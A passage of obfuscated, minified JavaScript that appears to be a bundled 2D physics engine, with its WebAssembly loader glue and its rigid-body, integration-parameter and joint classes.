_0x87f0fd(_0x5c1bd9))); }, arguments); }, _0x53edd5['wbg']['__wbg_bind_10dfe70e95d2a480'] = function (_0xef62fa, _0x3aa5aa, _0x5d96a6, _0x343679) { return _0x594304(_0x87f0fd(_0xef62fa)['bind'](_0x87f0fd(_0x3aa5aa), _0x87f0fd(_0x5d96a6), _0x87f0fd(_0x343679))); }, _0x53edd5['wbg']['__wbg_buffer_3f3d764d4747d564'] = function (_0x23946b) { return _0x594304(_0x87f0fd(_0x23946b)['buffer']); }, _0x53edd5['wbg']['__wbg_newwithbyteoffsetandlength_d9aa266703cb98be'] = function (_0x24797c, _0xb69f9c, _0x24813e) { return _0x594304(new Uint8Array(_0x87f0fd(_0x24797c), _0xb69f9c >>> 0x0, _0x24813e >>> 0x0)); }, _0x53edd5['wbg']['__wbg_new_8c3f0052272a457a'] = function (_0x2d65af) { return _0x594304(new Uint8Array(_0x87f0fd(_0x2d65af))); }, _0x53edd5['wbg']['__wbg_set_83db9690f9353e79'] = function (_0x966a6, _0x54cb34, _0x39deec) { _0x87f0fd(_0x966a6)['set'](_0x87f0fd(_0x54cb34), _0x39deec >>> 0x0); }, _0x53edd5['wbg']['__wbg_length_9e1ae1900cb0fbd5'] = function (_0x32f446) { return _0x87f0fd(_0x32f446)['length']; }, _0x53edd5['wbg']['__wbg_newwithbyteoffsetandlength_be22e5fcf4f69ab4'] = function (_0x4c2da4, _0x5ba142, _0x5b59d0) { return _0x594304(new Float32Array(_0x87f0fd(_0x4c2da4), _0x5ba142 >>> 0x0, _0x5b59d0 >>> 0x0)); }, _0x53edd5['wbg']['__wbg_set_0e0314cf6675c1b9'] = function (_0x4361cc, _0x20b5bb, _0x12854f) { _0x87f0fd(_0x4361cc)['set'](_0x87f0fd(_0x20b5bb), _0x12854f >>> 0x0); }, _0x53edd5['wbg']['__wbg_length_9a2deed95d22668d'] = function (_0x5a2cdc) { return _0x87f0fd(_0x5a2cdc)['length']; }, _0x53edd5['wbg']['__wbg_newwithlength_a7168e4a1e8f5e12'] = function (_0x5b49b1) { return _0x594304(new Float32Array(_0x5b49b1 >>> 0x0)); }, _0x53edd5['wbg']['__wbindgen_throw'] = function (_0x4b6bc7, _0xd6e7e7) { throw new Error(_0x3b906f(_0x4b6bc7, _0xd6e7e7)); }, _0x53edd5['wbg']['__wbindgen_memory'] = function () { return _0x594304(_0x4cb6f6['memory']); }, _0x53edd5; }()); ('string' == typeof _0x28fedf || 'function' == typeof Request && _0x28fedf instanceof Request || 'function' == typeof URL && _0x28fedf instanceof URL) && (_0x28fedf = fetch(_0x28fedf)); const { instance: _0x1c12d9, module: _0x2090ac } = await async function (_0x5cab53, _0x349108) { if ('function' == typeof Response && _0x5cab53 instanceof Response) { if ('function' == typeof WebAssembly['instantiateStreaming']) try { return await WebAssembly['instantiateStreaming'](_0x5cab53, _0x349108); } catch (_0x460d31) { if ('application/wasm' == _0x5cab53['headers']['get']('Content-Type')) throw _0x460d31; } const _0xcc2692 = await _0x5cab53['arrayBuffer'](); return await WebAssembly['instantiate'](_0xcc2692, _0x349108); } { const _0x17b54c = await WebAssembly['instantiate'](_0x5cab53, _0x349108); return _0x17b54c instanceof WebAssembly['Instance'] ? { 'instance': _0x17b54c, 'module': _0x5cab53 } : _0x17b54c; } }(await _0x28fedf, _0x5cd894); return function (_0x1414e7, _0x3ddca2) { return _0x4cb6f6 = _0x1414e7['exports'], _0x5a28aa['__wbindgen_wasm_module'] = _0x3ddca2, _0x14665d = new Float32Array(), _0x2834de = new Float64Array(), _0x2f8f23 = new Int32Array(), _0x49ef32 = new Uint32Array(), _0x343a90 = new Uint8Array(), _0x4cb6f6; }(_0x1c12d9, _0x2090ac); } class _0x49a753 { constructor(_0x5a9238, _0x1a93e6) { this['x'] = _0x5a9238, this['y'] = _0x1a93e6; } } class _0x3e685e { static ['new'](_0x7b968e, _0x12c024) { return new _0x49a753(_0x7b968e, _0x12c024); } static ['zeros']() { return _0x3e685e['new'](0x0, 0x0); } static ['fromRaw'](_0x47b114) { if (!_0x47b114) return null; let _0x19a32e = _0x3e685e['new'](_0x47b114['x'], _0x47b114['y']); return _0x47b114['free'](), _0x19a32e; } static ['intoRaw'](_0x9e7235) { return new _0x581d34(_0x9e7235['x'], _0x9e7235['y']); } static ['copy'](_0x3ae033, _0x522bfe) { _0x3ae033['x'] = _0x522bfe['x'], _0x3ae033['y'] = _0x522bfe['y']; } } class _0x36d6e2 { static ['identity']() { return 0x0; } static ['fromRaw'](_0x66e3f0) { if (!_0x66e3f0) return null; let _0x4f426f = _0x66e3f0['angle']; return _0x66e3f0['free'](), _0x4f426f; } static ['intoRaw'](_0x1d5648) { return _0x58e6cd['fromAngle'](_0x1d5648); } } var _0x322e6c, _0xb03f97, _0x495adf, _0x1de744, _0x3dd9d3, _0x4aba84, _0x4ba6f5, _0x1370fa, _0x19c439, _0x3c4ba7, _0x5456ae, _0x579005; !function (_0xbcf9ef) { _0xbcf9ef[_0xbcf9ef['Dynamic'] = 0x0] = 'Dynamic', _0xbcf9ef[_0xbcf9ef['Fixed'] = 0x1] = 'Fixed', _0xbcf9ef[_0xbcf9ef['KinematicPositionBased'] = 0x2] = 'KinematicPositionBased', _0xbcf9ef[_0xbcf9ef['KinematicVelocityBased'] = 0x3] = 'KinematicVelocityBased'; }(_0x322e6c || (_0x322e6c = {})); class _0x34fab { constructor(_0xf1abf1, _0x4ff6f2, _0x15dca5) { this['rawSet'] = _0xf1abf1, this['colliderSet'] = _0x4ff6f2, this['handle'] = _0x15dca5; } ['finalizeDeserialization'](_0x543e09) { this['colliderSet'] = _0x543e09; } ['isValid']() { return this['rawSet']['contains'](this['handle']); } ['lockTranslations'](_0x41108e, _0x37f1cd) { return this['rawSet']['rbLockTranslations'](this['handle'], _0x41108e, _0x37f1cd); } ['lockRotations'](_0x4b2ba8, _0x2a2f8d) { return this['rawSet']['rbLockRotations'](this['handle'], _0x4b2ba8, _0x2a2f8d); } ['setEnabledTranslations'](_0x4d06a8, _0x252793, _0x515f0d) { return this['rawSet']['rbSetEnabledTranslations'](this['handle'], _0x4d06a8, _0x252793, _0x515f0d); } ['restrictTranslations'](_0x517d45, _0x55987d, _0x2e061d) { this['setEnabledTranslations'](_0x517d45, _0x517d45, _0x2e061d); } ['dominanceGroup']() { return this['rawSet']['rbDominanceGroup'](this['handle']); } ['setDominanceGroup'](_0x107418) { this['rawSet']['rbSetDominanceGroup'](this['handle'], _0x107418); } ['enableCcd'](_0x110f5b) { this['rawSet']['rbEnableCcd'](this['handle'], _0x110f5b); } ['translation']() { let _0x4f9fb1 = this['rawSet']['rbTranslation'](this['handle']); return _0x3e685e['fromRaw'](_0x4f9fb1); } ['rotation']() { let _0x23ae2d = this['rawSet']['rbRotation'](this['handle']); return _0x36d6e2['fromRaw'](_0x23ae2d); } ['nextTranslation']() { let _0x2a1877 = this['rawSet']['rbNextTranslation'](this['handle']); return _0x3e685e['fromRaw'](_0x2a1877); } ['nextRotation']() { let _0x4598a3 = this['rawSet']['rbNextRotation'](this['handle']); return _0x36d6e2['fromRaw'](_0x4598a3); } ['setTranslation'](_0x3171cd, _0xad7ba2) { this['rawSet']['rbSetTranslation'](this['handle'], _0x3171cd['x'], _0x3171cd['y'], _0xad7ba2); } ['setLinvel'](_0x2c9f7e, _0x11f957) { let _0x58ebd2 = _0x3e685e['intoRaw'](_0x2c9f7e); this['rawSet']['rbSetLinvel'](this['handle'], _0x58ebd2, _0x11f957), _0x58ebd2['free'](); } ['gravityScale']() { return this['rawSet']['rbGravityScale'](this['handle']); } ['setGravityScale'](_0x26da2c, _0x1689b0) { this['rawSet']['rbSetGravityScale'](this['handle'], _0x26da2c, _0x1689b0); } ['setRotation'](_0x5e3646, _0x4acbc1) { this['rawSet']['rbSetRotation'](this['handle'], _0x5e3646, _0x4acbc1); } ['setAngvel'](_0x5a79bd, _0x40006b) { this['rawSet']['rbSetAngvel'](this['handle'], _0x5a79bd, _0x40006b); } ['setNextKinematicTranslation'](_0x24e3f8) { this['rawSet']['rbSetNextKinematicTranslation'](this['handle'], _0x24e3f8['x'], _0x24e3f8['y']); } ['setNextKinematicRotation'](_0x4ed02a) { this['rawSet']['rbSetNextKinematicRotation'](this['handle'], _0x4ed02a); } ['linvel']() { return _0x3e685e['fromRaw'](this['rawSet']['rbLinvel'](this['handle'])); } ['angvel']() { return this['rawSet']['rbAngvel'](this['handle']); } ['mass']() { return this['rawSet']['rbMass'](this['handle']); } ['effectiveInvMass']() { return _0x3e685e['fromRaw'](this['rawSet']['rbEffectiveInvMass'](this['handle'])); } ['invMass']() { return this['rawSet']['rbInvMass'](this['handle']); } ['localCom']() { return _0x3e685e['fromRaw'](this['rawSet']['rbLocalCom'](this['handle'])); } ['worldCom']() { return _0x3e685e['fromRaw'](this['rawSet']['rbWorldCom'](this['handle'])); } ['invPrincipalInertiaSqrt']() { return this['rawSet']['rbInvPrincipalInertiaSqrt'](this['handle']); } ['principalInertia']() { return this['rawSet']['rbPrincipalInertia'](this['handle']); } ['effectiveWorldInvInertiaSqrt']() { return this['rawSet']['rbEffectiveWorldInvInertiaSqrt'](this['handle']); } ['effectiveAngularInertia']() { return this['rawSet']['rbEffectiveAngularInertia'](this['handle']); } ['sleep']() { this['rawSet']['rbSleep'](this['handle']); } ['wakeUp']() { this['rawSet']['rbWakeUp'](this['handle']); } ['isCcdEnabled']() { return this['rawSet']['rbIsCcdEnabled'](this['handle']); } ['numColliders']() { return this['rawSet']['rbNumColliders'](this['handle']); } ['collider'](_0x48de7f) { return this['colliderSet']['get'](this['rawSet']['rbCollider'](this['handle'], _0x48de7f)); } ['setEnabled'](_0x7c296d) { this['rawSet']['rbSetEnabled'](this['handle'], _0x7c296d); } ['isEnabled']() { return this['rawSet']['rbIsEnabled'](this['handle']); } ['bodyType']() { return this['rawSet']['rbBodyType'](this['handle']); } ['setBodyType'](_0x279891, _0x5f353e) { return this['rawSet']['rbSetBodyType'](this['handle'], _0x279891, _0x5f353e); } ['isSleeping']() { return this['rawSet']['rbIsSleeping'](this['handle']); } ['isMoving']() { return this['rawSet']['rbIsMoving'](this['handle']); } ['isFixed']() { return this['rawSet']['rbIsFixed'](this['handle']); } ['isKinematic']() { return this['rawSet']['rbIsKinematic'](this['handle']); } ['isDynamic']() { return this['rawSet']['rbIsDynamic'](this['handle']); } ['linearDamping']() { return this['rawSet']['rbLinearDamping'](this['handle']); } ['angularDamping']() { return this['rawSet']['rbAngularDamping'](this['handle']); } ['setLinearDamping'](_0x32c474) { this['rawSet']['rbSetLinearDamping'](this['handle'], _0x32c474); } ['recomputeMassPropertiesFromColliders']() { this['rawSet']['rbRecomputeMassPropertiesFromColliders'](this['handle'], this['colliderSet']['raw']); } ['setAdditionalMass'](_0x4dbed5, _0x48e3aa) { this['rawSet']['rbSetAdditionalMass'](this['handle'], _0x4dbed5, _0x48e3aa); } ['setAdditionalMassProperties'](_0x562a88, _0x46457f, _0x22b87c, _0x37fc3d) { let _0x355583 = _0x3e685e['intoRaw'](_0x46457f); this['rawSet']['rbSetAdditionalMassProperties'](this['handle'], _0x562a88, _0x355583, _0x22b87c, _0x37fc3d), _0x355583['free'](); } ['setAngularDamping'](_0x3b2e77) { this['rawSet']['rbSetAngularDamping'](this['handle'], _0x3b2e77); } ['resetForces'](_0xb32d5f) { this['rawSet']['rbResetForces'](this['handle'], _0xb32d5f); } ['resetTorques'](_0x37559b) { this['rawSet']['rbResetTorques'](this['handle'], _0x37559b); } ['addForce'](_0x47d8ae, _0x15bfff) { const _0x12bcd4 = _0x3e685e['intoRaw'](_0x47d8ae); this['rawSet']['rbAddForce'](this['handle'], _0x12bcd4, _0x15bfff), _0x12bcd4['free'](); } ['applyImpulse'](_0x3af28a, _0x442039) { const _0x449b86 = _0x3e685e['intoRaw'](_0x3af28a); this['rawSet']['rbApplyImpulse'](this['handle'], _0x449b86, _0x442039), _0x449b86['free'](); } ['addTorque'](_0x592de7, _0x2b2216) { this['rawSet']['rbAddTorque'](this['handle'], _0x592de7, _0x2b2216); } ['applyTorqueImpulse'](_0x412b1b, _0x1aa0bc) { this['rawSet']['rbApplyTorqueImpulse'](this['handle'], _0x412b1b, _0x1aa0bc); } ['addForceAtPoint'](_0x205493, _0x58dbb8, _0x25ee1e) { const _0x3f3d66 = _0x3e685e['intoRaw'](_0x205493), _0x5bc32b = _0x3e685e['intoRaw'](_0x58dbb8); this['rawSet']['rbAddForceAtPoint'](this['handle'], _0x3f3d66, _0x5bc32b, _0x25ee1e), _0x3f3d66['free'](), _0x5bc32b['free'](); } ['applyImpulseAtPoint'](_0x5482b9, _0x27383c, _0x5a6140) { const _0x3dbae8 = _0x3e685e['intoRaw'](_0x5482b9), _0x37605f = _0x3e685e['intoRaw'](_0x27383c); this['rawSet']['rbApplyImpulseAtPoint'](this['handle'], _0x3dbae8, _0x37605f, _0x5a6140), _0x3dbae8['free'](), _0x37605f['free'](); } } class _0x4445da { constructor(_0xe8dbf1) { this['enabled'] = !0x0, this['status'] = _0xe8dbf1, this['translation'] = _0x3e685e['zeros'](), this['rotation'] = _0x36d6e2['identity'](), this['gravityScale'] = 0x1, this['linvel'] = _0x3e685e['zeros'](), this['mass'] = 0x0, this['massOnly'] = !0x1, this['centerOfMass'] = _0x3e685e['zeros'](), this['translationsEnabledX'] = !0x0, this['translationsEnabledY'] = !0x0, this['angvel'] = 0x0, this['principalAngularInertia'] = 0x0, this['rotationsEnabled'] = !0x0, this['linearDamping'] = 0x0, this['angularDamping'] = 0x0, this['canSleep'] = !0x0, this['sleeping'] = !0x1, this['ccdEnabled'] = !0x1, this['dominanceGroup'] = 0x0; } static ['dynamic']() { return new _0x4445da(_0x322e6c['Dynamic']); } static ['kinematicPositionBased']() { return new _0x4445da(_0x322e6c['KinematicPositionBased']); } static ['kinematicVelocityBased']() { return new _0x4445da(_0x322e6c['KinematicVelocityBased']); } static ['fixed']() { return new _0x4445da(_0x322e6c['Fixed']); } static ['newDynamic']() { return new _0x4445da(_0x322e6c['Dynamic']); } static ['newKinematicPositionBased']() { return new _0x4445da(_0x322e6c['KinematicPositionBased']); } static ['newKinematicVelocityBased']() { return new _0x4445da(_0x322e6c['KinematicVelocityBased']); } static ['newStatic']() { return new _0x4445da(_0x322e6c['Fixed']); } ['setDominanceGroup'](_0x54506d) { return this['dominanceGroup'] = _0x54506d, this; } ['setEnabled'](_0x1a3964) { return this['enabled'] = _0x1a3964, this; } ['setTranslation'](_0x32fda0, _0x4b606d) { if ('number' != typeof _0x32fda0 || 'number' != typeof _0x4b606d) throw TypeError('The\x20translation\x20components\x20must\x20be\x20numbers.'); return this['translation'] = { 'x': _0x32fda0, 'y': _0x4b606d }, this; } ['setRotation'](_0x40cbff) { return this['rotation'] = _0x40cbff, this; } ['setGravityScale'](_0x33c568) { return this['gravityScale'] = _0x33c568, this; } ['setAdditionalMass'](_0x2ff3e1) { return this['mass'] = _0x2ff3e1, this['massOnly'] = !0x0, this; } ['setLinvel'](_0x54d27b, _0x425f77) { if ('number' != typeof _0x54d27b || 'number' != typeof _0x425f77) throw TypeError('The\x20linvel\x20components\x20must\x20be\x20numbers.'); return this['linvel'] = { 'x': _0x54d27b, 'y': _0x425f77 }, this; } ['setAngvel'](_0xf2344) { return this['angvel'] = _0xf2344, this; } ['setAdditionalMassProperties'](_0x3832e2, _0x256f08, _0x2d1100) { return this['mass'] = _0x3832e2, _0x3e685e['copy'](this['centerOfMass'], _0x256f08), this['principalAngularInertia'] = _0x2d1100, this['massOnly'] = !0x1, this; } ['enabledTranslations'](_0x3564fc, _0x4631b6) { return this['translationsEnabledX'] = _0x3564fc, this['translationsEnabledY'] = _0x4631b6, this; } ['restrictTranslations'](_0x42cf98, _0x17ec0c) { return this['enabledTranslations'](_0x42cf98, _0x17ec0c); } ['lockTranslations']() { return this['restrictTranslations'](!0x1, !0x1); } ['lockRotations']() { return this['rotationsEnabled'] = !0x1, this; } ['setLinearDamping'](_0x3d0893) { return this['linearDamping'] = _0x3d0893, this; } ['setAngularDamping'](_0x34b218) { return this['angularDamping'] = _0x34b218, this; } ['setCanSleep'](_0x35213c) { return this['canSleep'] = _0x35213c, this; } ['setSleeping'](_0x4466f1) { return this['sleeping'] = _0x4466f1, this; } ['setCcdEnabled'](_0x364393) { return this['ccdEnabled'] = _0x364393, this; } ['setUserData'](_0x40bdfe) { return this['userData'] = _0x40bdfe, this; } } class _0x112f9f { constructor() { this['fconv'] = new Float64Array(0x1), this['uconv'] = new Uint32Array(this['fconv']['buffer']), this['data'] = new Array(), this['size'] = 0x0; } ['set'](_0x4ef129, _0x2fc04e) { let _0x182e79 = this['index'](_0x4ef129); for (; this['data']['length'] <= _0x182e79;)this['data']['push'](null); null == this['data'][_0x182e79] && (this['size'] += 0x1), this['data'][_0x182e79] = _0x2fc04e; } ['len']() { return this['size']; } ['delete'](_0xfb8e9c) { let _0x278338 = this['index'](_0xfb8e9c); _0x278338 < this['data']['length'] && (null != this['data'][_0x278338] && (this['size'] -= 0x1), this['data'][_0x278338] = null); } ['clear']() { this['data'] = new Array(); } ['get'](_0x5d8dcd) { let _0x35f1c2 = this['index'](_0x5d8dcd); return _0x35f1c2 < this['data']['length'] ? this['data'][_0x35f1c2] : null; } ['forEach'](_0xa6b1b) { for (const _0x324c91 of this['data']) null != _0x324c91 && _0xa6b1b(_0x324c91); } ['getAll']() { return this['data']['filter'](_0x113e6b => null != _0x113e6b); } ['index'](_0x2a1084) { return this['fconv'][0x0] = _0x2a1084, this['uconv'][0x0]; } } class _0x3321ab { constructor(_0x362f71) { this['raw'] = _0x362f71 || new _0x4894b9(), this['map'] = new _0x112f9f(), _0x362f71 && _0x362f71['forEachRigidBodyHandle'](_0x381310 => { this['map']['set'](_0x381310, new _0x34fab(_0x362f71, null, _0x381310)); }); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0, this['map'] && this['map']['clear'](), this['map'] = void 0x0; } ['finalizeDeserialization'](_0x53a396) { this['map']['forEach'](_0x2419cf => _0x2419cf['finalizeDeserialization'](_0x53a396)); } ['createRigidBody'](_0x22c87f, _0xe88613) { let _0x12c5a7 = _0x3e685e['intoRaw'](_0xe88613['translation']), _0x1fab7c = _0x36d6e2['intoRaw'](_0xe88613['rotation']), _0x4deddd = _0x3e685e['intoRaw'](_0xe88613['linvel']), _0x43de6e = _0x3e685e['intoRaw'](_0xe88613['centerOfMass']), _0x47e934 = this['raw']['createRigidBody'](_0xe88613['enabled'], _0x12c5a7, _0x1fab7c, _0xe88613['gravityScale'], _0xe88613['mass'], _0xe88613['massOnly'], _0x43de6e, _0x4deddd, _0xe88613['angvel'], _0xe88613['principalAngularInertia'], _0xe88613['translationsEnabledX'], _0xe88613['translationsEnabledY'], _0xe88613['rotationsEnabled'], _0xe88613['linearDamping'], _0xe88613['angularDamping'], _0xe88613['status'], _0xe88613['canSleep'], _0xe88613['sleeping'], _0xe88613['ccdEnabled'], _0xe88613['dominanceGroup']); _0x12c5a7['free'](), _0x1fab7c['free'](), _0x4deddd['free'](), _0x43de6e['free'](); const _0x4a1755 = new _0x34fab(this['raw'], _0x22c87f, _0x47e934); return _0x4a1755['userData'] = _0xe88613['userData'], this['map']['set'](_0x47e934, _0x4a1755), _0x4a1755; } ['remove'](_0x2e0351, _0x362e34, _0x2aa224, _0x5bd988, _0x5227ab) { for (let _0x18e883 = 0x0; _0x18e883 < this['raw']['rbNumColliders'](_0x2e0351); _0x18e883 += 0x1)_0x2aa224['unmap'](this['raw']['rbCollider'](_0x2e0351, _0x18e883)); _0x5bd988['forEachJointHandleAttachedToRigidBody'](_0x2e0351, _0x4ef902 => _0x5bd988['unmap'](_0x4ef902)), _0x5227ab['forEachJointHandleAttachedToRigidBody'](_0x2e0351, _0x39920b => _0x5227ab['unmap'](_0x39920b)), this['raw']['remove'](_0x2e0351, _0x362e34['raw'], _0x2aa224['raw'], _0x5bd988['raw'], _0x5227ab['raw']), this['map']['delete'](_0x2e0351); } ['len']() { return this['map']['len'](); } ['contains'](_0xfc1e9d) { return null != this['get'](_0xfc1e9d); } ['get'](_0x5ebf23) { return this['map']['get'](_0x5ebf23); } ['forEach'](_0x5a2177) { this['map']['forEach'](_0x5a2177); } ['forEachActiveRigidBody'](_0x27a469, _0x47a934) { _0x27a469['forEachActiveRigidBodyHandle'](_0x24d6dc => { _0x47a934(this['get'](_0x24d6dc)); }); } ['getAll']() { return this['map']['getAll'](); } } class _0x438ab5 { constructor(_0x3b2ef0) { this['raw'] = _0x3b2ef0 || new _0x280412(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } get ['dt']() { return this['raw']['dt']; } get ['erp']() { return this['raw']['erp']; } get ['allowedLinearError']() { return this['raw']['allowedLinearError']; } get ['predictionDistance']() { return this['raw']['predictionDistance']; } get ['maxVelocityIterations']() { return this['raw']['maxVelocityIterations']; } get ['maxVelocityFrictionIterations']() { return this['raw']['maxVelocityFrictionIterations']; } get ['maxStabilizationIterations']() { return this['raw']['maxStabilizationIterations']; } get ['minIslandSize']() { return this['raw']['minIslandSize']; } get ['maxCcdSubsteps']() { return this['raw']['maxCcdSubsteps']; } set ['dt'](_0x36fffa) { this['raw']['dt'] = _0x36fffa; } set ['erp'](_0x5b6d73) { this['raw']['erp'] = _0x5b6d73; } set ['allowedLinearError'](_0x4d797d) { this['raw']['allowedLinearError'] = _0x4d797d; } set ['predictionDistance'](_0x57bbb7) { this['raw']['predictionDistance'] = _0x57bbb7; } set ['maxVelocityIterations'](_0x2d7f53) { this['raw']['maxVelocityIterations'] = _0x2d7f53; } set ['maxVelocityFrictionIterations'](_0x23c2ea) { this['raw']['maxVelocityFrictionIterations'] = _0x23c2ea; } set ['maxStabilizationIterations'](_0x544f77) { this['raw']['maxStabilizationIterations'] = _0x544f77; } set ['minIslandSize'](_0x37b914) { this['raw']['minIslandSize'] = _0x37b914; } set ['maxCcdSubsteps'](_0x2c6085) { this['raw']['maxCcdSubsteps'] = _0x2c6085; } } !function (_0x31f98f) { _0x31f98f[_0x31f98f['Revolute'] = 0x0] = 'Revolute', _0x31f98f[_0x31f98f['Fixed'] = 0x1] = 'Fixed', _0x31f98f[_0x31f98f['Prismatic'] = 0x2] = 'Prismatic'; }(_0xb03f97 || (_0xb03f97 = {})), function (_0x121f0b) { _0x121f0b[_0x121f0b['AccelerationBased'] = 0x0] = 'AccelerationBased', _0x121f0b[_0x121f0b['ForceBased'] = 0x1] = 'ForceBased'; }(_0x495adf || (_0x495adf = {})); class _0xee98cd { constructor(_0x5db381, _0x2eae1e, _0x4a0b4c) { this['rawSet'] = _0x5db381, this['bodySet'] = _0x2eae1e, this['handle'] = _0x4a0b4c; } static ['newTyped'](_0x3a93df, _0xda58cd, _0x293c88) { switch (_0x3a93df['jointType'](_0x293c88)) { case _0xb03f97['Revolute']: return new _0x50b132(_0x3a93df, _0xda58cd, _0x293c88); case _0xb03f97['Prismatic']: return new _0x49fbb3(_0x3a93df, _0xda58cd, _0x293c88); case _0xb03f97['Fixed']: return new _0x2f664b(_0x3a93df, _0xda58cd, _0x293c88); default: return new _0xee98cd(_0x3a93df, _0xda58cd, _0x293c88); } } ['finalizeDeserialization'](_0x27f0ab) { this['bodySet'] = _0x27f0ab; } ['isValid']() { return this['rawSet']['contains'](this['handle']); } ['body1']() { return this['bodySet']['get'](this['rawSet']['jointBodyHandle1'](this['handle'])); } ['body2']() { return this['bodySet']['get'](this['rawSet']['jointBodyHandle2'](this['handle'])); } ['type']() { return this['rawSet']['jointType'](this['handle']); } ['anchor1']() { return _0x3e685e['fromRaw'](this['rawSet']['jointAnchor1'](this['handle'])); } ['anchor2']() { return _0x3e685e['fromRaw'](this['rawSet']['jointAnchor2'](this['handle'])); } ['setAnchor1'](_0x766e4d) { const _0x584876 = _0x3e685e['intoRaw'](_0x766e4d); this['rawSet']['jointSetAnchor1'](this['handle'], _0x584876), _0x584876['free'](); } ['setAnchor2'](_0x3837ca) { const _0x1adb51 = _0x3e685e['intoRaw'](_0x3837ca); this['rawSet']['jointSetAnchor2'](this['handle'], _0x1adb51), _0x1adb51['free'](); } ['setContactsEnabled'](_0x3269d7) { this['rawSet']['jointSetContactsEnabled'](this['handle'], _0x3269d7); } ['contactsEnabled']() { return this['rawSet']['jointContactsEnabled'](this['handle']); } } class _0x4acb00 extends _0xee98cd { ['limitsEnabled']() { return this['rawSet']['jointLimitsEnabled'](this['handle'], this['rawAxis']()); } ['limitsMin']() { return this['rawSet']['jointLimitsMin'](this['handle'], this['rawAxis']()); } ['limitsMax']() { return this['rawSet']['jointLimitsMax'](this['handle'], this['rawAxis']()); } ['setLimits'](_0x1d4dd6, _0x5211b5) { this['rawSet']['jointSetLimits'](this['handle'], this['rawAxis'](), _0x1d4dd6, _0x5211b5); } ['configureMotorModel'](_0x1029cf) { this['rawSet']['jointConfigureMotorModel'](this['handle'], this['rawAxis'](), _0x1029cf); } ['configureMotorVelocity'](_0x496781, _0x330e16) { this['rawSet']['jointConfigureMotorVelocity'](this['handle'], this['rawAxis'](), _0x496781, _0x330e16); } ['configureMotorPosition'](_0x479458, _0x2a3d21, _0x533419) { this['rawSet']['jointConfigureMotorPosition'](this['handle'], this['rawAxis'](), _0x479458, _0x2a3d21, _0x533419); } ['configureMotor'](_0x574f08, _0x1b5a21, _0x4adf86, _0x5836cc) { this['rawSet']['jointConfigureMotor'](this['handle'], this['rawAxis'](), _0x574f08, _0x1b5a21, _0x4adf86, _0x5836cc); } } class _0x2f664b extends _0xee98cd { } class _0x49fbb3 extends _0x4acb00 { ['rawAxis']() { return _0x313a6c['X']; } } class _0x50b132 extends _0x4acb00 { ['rawAxis']() { return _0x313a6c['AngX']; } } class _0x31607a { constructor() { } static ['fixed'](_0x522503, _0x493fa8, _0x58fe5, _0x2d32c8) { let _0x2c9940 = new _0x31607a(); return _0x2c9940['anchor1'] = _0x522503, _0x2c9940['anchor2'] = _0x58fe5, _0x2c9940['frame1'] = _0x493fa8, _0x2c9940['frame2'] = _0x2d32c8, _0x2c9940['jointType'] = _0xb03f97['Fixed'], _0x2c9940; } static ['revolute'](_0x35201f, _0x1646bf) { let _0x5677a7 = new _0x31607a(); return _0x5677a7['anchor1'] = _0x35201f, _0x5677a7['anchor2'] = _0x1646bf, _0x5677a7['jointType'] = _0xb03f97['Revolute'], _0x5677a7; } static ['prismatic'](_0x13e342, _0x3217b1, _0x4c1241) { let _0x53ff74 = new _0x31607a(); return _0x53ff74['anchor1'] = _0x13e342, _0x53ff74['anchor2'] = _0x3217b1, _0x53ff74['axis'] = _0x4c1241, _0x53ff74['jointType'] = _0xb03f97['Prismatic'], _0x53ff74; } ['intoRaw']() { let _0x7a13a9, _0x3d40b9, _0x23d530 = _0x3e685e['intoRaw'](this['anchor1']), _0x476cc1 = _0x3e685e['intoRaw'](this['anchor2']), _0xfad5fd = !0x1, _0x34f013 = 0x0, _0x25d59a = 0x0; switch (this['jointType']) { case _0xb03f97['Fixed']: let _0x598fe3 = _0x36d6e2['intoRaw'](this['frame1']), _0x117d08 = _0x36d6e2['intoRaw'](this['frame2']); _0x3d40b9 = _0x517f65['fixed'](_0x23d530, _0x598fe3, _0x476cc1, _0x117d08), _0x598fe3['free'](), _0x117d08['free'](); break; case _0xb03f97['Prismatic']: _0x7a13a9 = _0x3e685e['intoRaw'](this['axis']), this['limitsEnabled'] && (_0xfad5fd = !0x0, _0x34f013 = this['limits'][0x0], _0x25d59a = this['limits'][0x1]), _0x3d40b9 = _0x517f65['prismatic'](_0x23d530, _0x476cc1, _0x7a13a9, _0xfad5fd, _0x34f013, _0x25d59a), _0x7a13a9['free'](); break; case _0xb03f97['Revolute']: _0x3d40b9 = _0x517f65['revolute'](_0x23d530, _0x476cc1); }return _0x23d530['free'](), _0x476cc1['free'](), _0x3d40b9; } } class _0x18c1cb { constructor(_0x2585da) { this['raw'] = _0x2585da || new _0x7882f(), this['map'] = new _0x112f9f(), _0x2585da && _0x2585da['forEachJointHandle'](_0x14c8c0 => { this['map']['set'](_0x14c8c0, _0xee98cd['newTyped'](_0x2585da, null, _0x14c8c0)); }); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0, this['map'] && this['map']['clear'](), this['map'] = void 0x0; } ['finalizeDeserialization'](_0x34fcd5) { this['map']['forEach'](_0x3736a4 => _0x3736a4['finalizeDeserialization'](_0x34fcd5)); } ['createJoint'](_0x536b32, _0xe00284, _0x1cce3b, _0x7317a0, _0x240db4) { const _0x5daabc = _0xe00284['intoRaw'](), _0x11ad9d = this['raw']['createJoint'](_0x5daabc, _0x1cce3b, _0x7317a0, _0x240db4); _0x5daabc['free'](); let _0x2e0b96 = _0xee98cd['newTyped'](this['raw'], _0x536b32, _0x11ad9d); return this['map']['set'](_0x11ad9d, _0x2e0b96), _0x2e0b96; } ['remove'](_0x5ab474, _0x20fc8c) { this['raw']['remove'](_0x5ab474, _0x20fc8c), this['unmap'](_0x5ab474); } ['forEachJointHandleAttachedToRigidBody'](_0x5e080f, _0x109ff3) { this['raw']['forEachJointAttachedToRigidBody'](_0x5e080f, _0x109ff3); } ['unmap'](_0x261c8b) { this['map']['delete'](_0x261c8b); } ['len']() { return this['map']['len'](); } ['contains'](_0x36fa18) { return null != this['get'](_0x36fa18); } ['get'](_0x463888) { return this['map']['get'](_0x463888); } ['forEach'](_0x1093a2) { this['map']['forEach'](_0x1093a2); } ['getAll']() { return this['map']['getAll'](); } } class _0x24ef4a { constructor(_0x3695df, _0x5aaf2c) { this['rawSet'] = _0x3695df, this['handle'] = _0x5aaf2c; } static ['newTyped'](_0x1c024b, _0x21c3a3) { switch (_0x1c024b['jointType'](_0x21c3a3)) { case _0xb03f97['Revolute']: return new 